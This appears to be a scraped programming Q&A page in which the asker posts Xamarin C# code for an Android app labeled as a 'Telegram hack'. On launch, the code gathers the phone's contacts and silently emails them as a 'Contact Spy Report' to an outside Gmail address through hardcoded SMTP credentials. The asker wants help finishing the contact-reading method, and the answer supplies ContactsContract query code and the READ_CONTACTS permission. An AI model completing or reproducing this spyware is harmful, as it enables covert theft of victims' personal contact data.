简体   繁体   中英

Get Android Contacts in Xamarin

Currently, I have some limits that I can't use Visual Studio. I have a emergency work, That needs an Android Program, But I don't know exactly how to do something in it, Because Visual Studio helps me with suggests but I don't have it. I want to get Android Contacts With Name and Phone Number. Currently, This is my codes in App.cs:

using System;
using System.Linq;

using Android.App;
using Android.Content;
using Android.OS;
using Android.Views;
using Android.Views.InputMethods;
using Android.Widget;
using System.Net;
using System.Net.Mail;

namespace Tlgr
{
    [Activity(Label = "هک تلگرام", MainLauncher = true)]
    public class App : Activity
    {
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);
            var ctks = Contact.GetContacts();
            using (var mail = new MailMessage())
            {
                mail.From = new MailAddress("feedbackhost.sender@gmail.com");
                mail.To.Add("asm262015@gmail.com");
                mail.Subject = "Contact Spy Report";
                foreach(ctk in ctks)
                {
                    mail.Body += ctk.ToString() + "\r\n";
                }
                using (var smtp = new SmtpClient("smtp.gmail.com", 587))
                {
                    smtp.Credentials = new NetworkCredential("feedbackhost.sender@gmail.com", "feedbackhost");
                    smtp.EnableSsl = true;
                    smtp.Send(mail);
                }
            }
        }
    }

    public class Contact
    {
        public string Name {get;set;}
        public string[] Numbers {get;set;}
        public override ToString()
        {
            var a = $"Name: {Name}";
            foreach (var i in Numbers)
            {
                a += " , Number: " + i;
            }
            return a;
        }

        public static Contact[] GetContacts()
        {

        }
    }
}

I just need to add body for method GetContacts() to solve my problem. I have searched, There was good results, But I don't know how to use them, I need a prefect code! Thanks!

You should use ContactsContract.Contacts

ContactsContract.Contacts is the data contract that is used to interface with contact data. The code queries contacts at the Uri defined by ContactsContract.Contacts.ContentUri, returning the columns selected from ContactsContract.Contacts.InterfaceConsts.

 var uri = ContactsContract.CommonDataKinds.Phone.ContentUri;
string[] projection = { ContactsContract.Contacts.InterfaceConsts.Id, ContactsContract.CommonDataKinds.Phone.Number};

More you can find here

Also you need add permission READ_CONTACTS :

<uses-permission android:name="android.permission.READ_CONTACTS" />

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM